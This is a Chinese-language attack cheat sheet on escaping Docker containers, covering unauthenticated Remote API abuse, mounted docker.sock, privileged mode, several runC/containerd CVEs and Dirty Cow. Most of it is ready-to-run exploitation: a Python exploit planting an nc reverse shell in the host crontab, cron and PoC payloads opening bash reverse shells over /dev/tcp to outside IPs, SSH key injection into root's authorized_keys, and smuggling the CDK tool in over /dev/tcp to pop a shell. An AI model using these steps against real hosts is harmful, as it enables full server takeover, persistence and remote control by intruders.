docker逃逸總結
docker逃逸總結
目錄- docker逃逸總結
- 一、 檢查是否在docker容器中
- 二、Docker Remote API 未授權訪問
- 三、docker.sock掛載到容器內部
- 四、Docker 高危啟動引數
- 五、Docker 軟體設計引起的逃逸
- 六、核心漏洞
- 七、參考文章
一、 檢查是否在docker容器中
通過以下兩個地方來判斷
# 是否存在此檔案 /.dockerenv # 在其中是否包含docker字串 /proc/1/cgroup
除了上面兩種外還有其他方式判斷,如檢測mount、fdisk -l檢視硬碟 、判斷PID 1的程序名等也可用來輔助判斷。
容器逃逸一鍵檢測
https://github.com/Xyntax/CDK/releases/tag/0.1.6
二、Docker Remote API 未授權訪問
Docker Remote API 可以執行 Docker 命令,Docker 守護程序監聽在 0.0.0.0,可直接呼叫 API 來操作 Docker
Docker Remote API 是一個取代遠端命令列介面(rcli)的REST API。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感資訊洩露,攻擊者也可以刪除Docker上的資料。 攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感資訊,或對敏感檔案進行修改,最終完全控制伺服器
漏洞判斷
# 返回目標宿主機執行容器資訊,漏洞存在
# 這個命令和在宿主機上執行docker ps類似
docker -H tcp://172.19.101.34:2375 ps
exp:
import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
三、docker.sock掛載到容器內部
當這樣掛載時,在docker容器中可以呼叫和執行宿主機的docker
將docker宿主機的docker檔案和docker.sock檔案掛載到容器中
在容器中檢視宿主機docker資訊
docker -H unix:///var/run/docker.sock info
執行一個新容器並掛載宿主機根路徑:
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
在新容器的 /test 目錄下,就可以訪問到宿主機的全部資源,接下來就是寫入 SSH 金鑰或者寫入計劃任務,獲取 shell
四、Docker 高危啟動引數
特權模式 –privileged
使用特權模式啟動的容器時,docker 管理員可通過 mount 命令將外部宿主機磁碟裝置掛載進容器內部,獲取對整個宿主機的檔案讀寫許可權,此外還可以通過寫入計劃任務等方式在宿主機執行命令
判斷方法:
特權模式起的容器,實戰可通過cat /proc/self/status |grep Cap
命令判斷當前容器是否通過特權模式起(CapEff: 000000xfffffffff代表為特權模式起)
利用方法:
特權模式啟動一個Ubuntu容器:
sudo docker run -itd --privileged ubuntu:latest /bin/bash
進入容器:
使用fdisk -l
命令檢視磁碟檔案:
fdisk -l命令檢視宿主機裝置為/dev/sda5(一般是最大的那個),通過mount命令將宿主機根目錄掛載進容器
在特權模式下,逃逸的方式很多,比如:直接在容器內部掛載宿主機磁碟,然後切換根目錄。
新建一個目錄:mkdir /test
掛載磁碟到新建目錄:mount /dev/sda5 /test
切換根目錄:chroot /test
到這裡已經成功逃逸了,然後就是常規的反彈shell 和 寫 SSH 了(和redis未授權差不多)。
寫計劃任務,反彈宿主機Shell:
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
如果要寫SSH的話,需要掛載宿主機的root目錄到容器:
docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
然後ssh 私鑰登入。
五、Docker 軟體設計引起的逃逸
5.1 CVE-2019-5736
CVE-2019-5736 是 runC 的 CVE 漏洞編號,runC 最初是作為 Docker 的一部分開發的,後來作為一個單獨的開源工具和庫被提取出來,在 docker 整個架構的執行過程中,Containerd 向 docker 提供執行容器的 API,二者通過 grpc 進行互動。containerd 最後通過 runc 來實際執行容器。
影響版本:
- docker version <=18.09.2
- RunC version <=1.0-rc6
利用條件:
攻擊者可控 image,進一步控制生成的 container
攻擊者具有某已存在容器的寫許可權,且可通過 docker exec 進入
# 下載 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"
# 編譯生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
# 拷貝到 docker 容器中執行
docker cp ./main 248f8b7d3c45:/tmp
在容器中執行
root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}
當管理員通過exec進入容器的時候,觸發payload,從而達到逃逸
5.2 CVE-2019-14271
Copy命令允許從容器、向容器中、或容器之間複製檔案。語法與標準的unix cp命令非常相似。要從容器中複製/var/logs
,語法是docker cp container_name:/var/logs /some/host/path
。
可能的攻擊場景有Docker使用者從另一個Docker處複製檔案:
- 容器執行含有惡意libnss_*.so庫的映象
- 容器中含有被攻擊者替換的libnss_*.so庫
https://xz.aliyun.com/t/6806
docker-cp逃逸分析
5.3 CVE-2019-13139
https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/
5.4 CVE-2020-15257
Containerd 是一個控制 runC 的守護程序,提供命令列客戶端和API,用於在一個機器上管理容器。在特定網路條件下,攻擊者可通過訪問containerd-shim API,從而實現Docker容器逃逸
影響版本:
- containerd < 1.4.3
- containerd < 1.3.9
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本(通過dockers version查詢),使用了--host網路模式,會造成containerd-shim API暴露,通過呼叫API功能實現逃逸。
判斷方法:
#判斷是否使用host模式cat /proc/net/unix | grep 'containerd-shim'
經過以上判斷,存在漏洞後。
1、從https://github.com/cdk-team/CDK/releases下載對應架構的可執行檔案,上傳到容器並賦權
上傳方法:
如果漏洞利用過程中允許檔案上傳,即可直接植入CDK,如果可以在目標系統中執行命令,但是容器沒有curl和wget命令,可以參考以下方法植入
# 將CDK下載到公網伺服器,並監聽埠
nc -lvp 999 < cdk
# 在已經攻入的目標中執行
cat < /dev/tcp/xxx/埠 > cdk
chmod a+x cdk
使用
#可以反彈shell,也可以執行命令
#reverse shell
./cdk run shim-pwn reverse <RHOST> <RPORT>
#execute command
./cdk run shim-pwn "<shell_cmd>"
六、核心漏洞
6.1 CVE-2016-5195
Dirty Cow(CVE-2016-5195)是 Linux 核心中的許可權提升漏洞,通過它可實現 Docker 容器逃逸,獲得 root 許可權的 shell。
Docker與宿主機共享核心,因此容器需要執行在存在Dirty Cow漏洞的宿主機裡